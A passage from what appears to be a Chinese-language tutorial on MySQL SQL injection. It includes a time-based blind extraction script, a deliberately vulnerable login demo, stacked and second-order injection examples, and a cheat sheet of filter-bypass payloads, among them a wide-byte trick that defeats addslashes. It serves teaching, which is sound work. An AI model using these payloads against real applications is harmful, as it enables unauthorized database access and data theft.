<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> string</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> io</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> signal</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> handler</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(signum, frame):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> raise</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> Exception</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"timeout"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">signal.signal(signal.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">SIGALRM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, handler)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> escape_string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(c):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> ".+*"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> exp</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> payload_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "Liki4' AND if(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{exp}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">,SLEEP(1),0);#"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> space </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> string.ascii_letters </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> string.digits </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> ' _:,$.'</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "@@version RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "DATABASE() RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(exp_template)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> True</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> data </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> ""</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> while</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> ori_stdout </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdout</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> space:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> payload </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> payload_template.format(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">exp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">exp_template.format(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">c</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">data</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">c))</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdin </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> io.StringIO(payload </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">555_i_dont_know_password'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> res </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdout </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> io.StringIO()</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> signal.alarm(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> try</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> main()</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"timeout"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> except</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"bingooo"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> </span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> output </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(res.getvalue())</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "timeout"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> output:</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> continue</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "$"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> False</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> break</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "bingooo"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> output:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> data </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> break</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdout </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> ori_stdout</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag:</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(data, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">end</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\r</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(data)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp()</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnsStdHC5VmBylyx6S7hakEb.png" alt=""></p><h3 id="基于报错的-sql-注入-todo" tabindex="-1">基于报错的 SQL 注入 (TODO) <a class="header-anchor" href="#基于报错的-sql-注入-todo" aria-label="Permalink to "基于报错的 SQL 注入 (TODO)""></a></h3><p>有的时候当 Web 应用虽然没有回显,但开启了 Debug 模式或者开启了显示报错的话,一旦 SQL 语句执行报错了,那么就会将错误信息显示出来,那报错的信息能否成为一种带出关键信息的回显呢?</p><p>可以!</p><p>让我们再对 demo 的代码做一些修改,用来探究以下如何利用报错来外带信息。</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;">#!/usr/bin/python</span></span>
|
||
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># -*- coding: UTF-8 -*-</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sqlalchemy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine, exc</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> hashlib </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sha256</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">engine </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">max_overflow</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">5</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> query</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(username, password):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> with</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> engine.connect() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">as</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> query_exec </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> f</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"SELECT password FROM users WHERE username = '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">username</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(query_exec)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> try</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(query_exec).scalar():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> passhash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(query_exec).fetchone()[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">]</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> passhash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">==</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sha256(password.encode()).hexdigest()</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> except</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exc.SQLAlchemyError </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">as</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> e:</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(e.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">__dict__</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">[</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'orig'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">])) </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># 输出捕获的错误信息</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> False</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your username: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> password </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your password: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Login success"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> query(username, password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">else</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "Login failed"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> main()</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnl67uDDSIdh3J7y7Jxjk0dc.png" alt=""></p><p>这样一来如果 SQL 语句执行报错的话,错误信息就会被打印出来</p><p>我收集了十个在 MySQL 中常见的可以用来进行报错注入的函数,我将他们常见的攻击手法都整理一下,放在底下供大家参考,原理和先前的有回显注入的方式并无区别。</p><p>关于函数的原型与定义可以翻阅 MySQL 文档</p><p>MySQL 5.7 doc: <a href="https://dev.mysql.com/doc/refman/5.7/en/" target="_blank" rel="noreferrer">https://dev.mysql.com/doc/refman/5.7/en/</a></p><p>MySQL 8.0 doc: <a href="https://dev.mysql.com/doc/refman/8.0/en/" target="_blank" rel="noreferrer">https://dev.mysql.com/doc/refman/8.0/en/</a></p><p>需要注意的是旧版本的某些函数在新版本中可能已经失效,具体在这里不一一列举</p><ol><li><code>floor</code></li><li><code>extractvalue</code></li><li><code>updatexml</code></li><li><code>geometrycollection</code></li><li><code>multipoint</code></li><li><code>polygon</code></li><li><code>multipolygon</code></li><li><code>linestring</code></li><li><code>multilinestring</code></li><li><code>exp</code></li></ol><h3 id="堆叠注入" tabindex="-1">堆叠注入 <a class="header-anchor" href="#堆叠注入" aria-label="Permalink to "堆叠注入""></a></h3><p>当注入点使用的执行函数允许一次性执行多个 SQL 语句的时候,例如 PHP 中的 <code>multi_query</code>,堆叠注入即存在。堆叠注入相较于其他方式,利用的手法更加自由,不局限于原来的 SELECT 语句,而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。</p><p><code>Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#</code></p><p><img src="https://cdn.xyxsw.site/boxcnrMIc2m6oubxC86CEtw1jMe.png" alt=""></p><p><img src="https://cdn.xyxsw.site/boxcnVRdntvakiTpt7nP8JhKKfc.png" alt=""></p><p>INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据</p><h3 id="二次注入" tabindex="-1">二次注入 <a class="header-anchor" href="#二次注入" aria-label="Permalink to "二次注入""></a></h3><p>二次注入的原理与前面所有的注入方式一致,仅仅在于触发点不同。</p><p>在某些 Web 应用中,注册时对用户的输入做了良好的预处理,但在后续使用的过程中存在未做处理的注入点,此时即可能造成二次注入</p><p>常见的场景,例如某平台在用户注册时无法进行 SQL 注入利用,但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。</p><p>那么我们在注册的时候即便无法当即触发 SQL 注入,但可以将恶意 payload 暂时写入到数据库中,这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。</p><h2 id="sql-注入常见的过滤绕过方式" tabindex="-1">SQL 注入常见的过滤绕过方式 <a class="header-anchor" href="#sql-注入常见的过滤绕过方式" aria-label="Permalink to "SQL 注入常见的过滤绕过方式""></a></h2><h3 id="空格被过滤" tabindex="-1">空格被过滤 <a class="header-anchor" href="#空格被过滤" aria-label="Permalink to "空格被过滤""></a></h3><ol><li><code>/*xxx*/</code> MySQL 行内注释</li></ol><p><code>SELECT/*1*/username,password/*1*/FROM/*1*/users;</code></p><ol><li><code>()</code></li></ol><p><code>SELECT(username),(password)FROM(users);</code></p><ol><li><code>%20 %09 %0a %0b %0c %0d %a0 %00</code> 等不可见字符</li></ol><h3 id="引号被过滤" tabindex="-1">引号被过滤 <a class="header-anchor" href="#引号被过滤" aria-label="Permalink to "引号被过滤""></a></h3><ol><li>十六进制代替字符串</li></ol><p><code>SELECT username, password FROM users WHERE username=0x4c696b6934</code></p><h3 id="逗号被过滤" tabindex="-1">逗号被过滤 <a class="header-anchor" href="#逗号被过滤" aria-label="Permalink to "逗号被过滤""></a></h3><ol><li><code>from for</code></li></ol><p><code>select substr(database(),1,1);</code></p><p><code>select substr(database() from 1 for 1);</code></p><p><code>select mid(database() from 1 for 1);</code></p><ol><li><code>join</code></li></ol><p><code>select 1,2</code></p><p><code>select * from (select 1)a join (select 2)b</code></p><ol><li><code>like/rlike</code></li></ol><p><code>select ascii(mid(user(),1,1))=80</code></p><p><code>select user() like 'r%'</code></p><ol><li><code>offset</code></li></ol><p><code>select * from news limit 0,1</code></p><p><code>select * from news limit 1 offset 0</code></p><h3 id="比较符号-被过滤" tabindex="-1">比较符号 <code>(<=>)</code> 被过滤 <a class="header-anchor" href="#比较符号-被过滤" aria-label="Permalink to "比较符号 `(<=>)` 被过滤""></a></h3><ol><li><code>=</code> 用 <code>like, rlike, regexp</code> 代替</li></ol><p><code>select * from users where name like 'Liki4'</code></p><p><code>select * from users where name rlike 'Liki4'</code></p><p><code>select * from users where name regexp 'Liki4'</code></p><ol><li><code><></code> 用 <code>greatest()、least()</code></li></ol><p><code>select * from users where id=1 and ascii(substr(database(),0,1))>64</code></p><p><code>select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64</code></p><ol><li><code>between</code></li></ol><p><code>select * from users where id between 1 and 1;</code></p><h3 id="or-and-xor-not-被过滤" tabindex="-1"><code>or and xor not</code> 被过滤 <a class="header-anchor" href="#or-and-xor-not-被过滤" aria-label="Permalink to "`or and xor not` 被过滤""></a></h3><ol><li><code>and = &&</code></li><li><code>or = ||</code></li><li><code>xor = |</code></li><li><code>not = !</code></li></ol><h3 id="常用函数被过滤" tabindex="-1">常用函数被过滤 <a class="header-anchor" href="#常用函数被过滤" aria-label="Permalink to "常用函数被过滤""></a></h3><ol><li><code>hex()、bin() = ascii()</code></li><li><code>sleep() = benchmark()</code></li><li><code>concat_ws() = group_concat()</code></li><li><code>mid()、substr() = substring()</code></li><li><code>@@user = user()</code></li><li><code>@@datadir = datadir()</code></li></ol><h3 id="宽字节注入" tabindex="-1">宽字节注入 <a class="header-anchor" href="#宽字节注入" aria-label="Permalink to "宽字节注入""></a></h3><p>在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法,可以用来绕过 <code>addslashes()</code><code>id=0%df%27%20union%20select%201,2,database();</code></p><p><img src="https://cdn.xyxsw.site/boxcnaRtyUGC0sX3btnFIgpDCob.png" alt=""></p><h3 id="information-schema-被过滤" tabindex="-1">information_schema 被过滤 <a class="header-anchor" href="#information-schema-被过滤" aria-label="Permalink to "information_schema 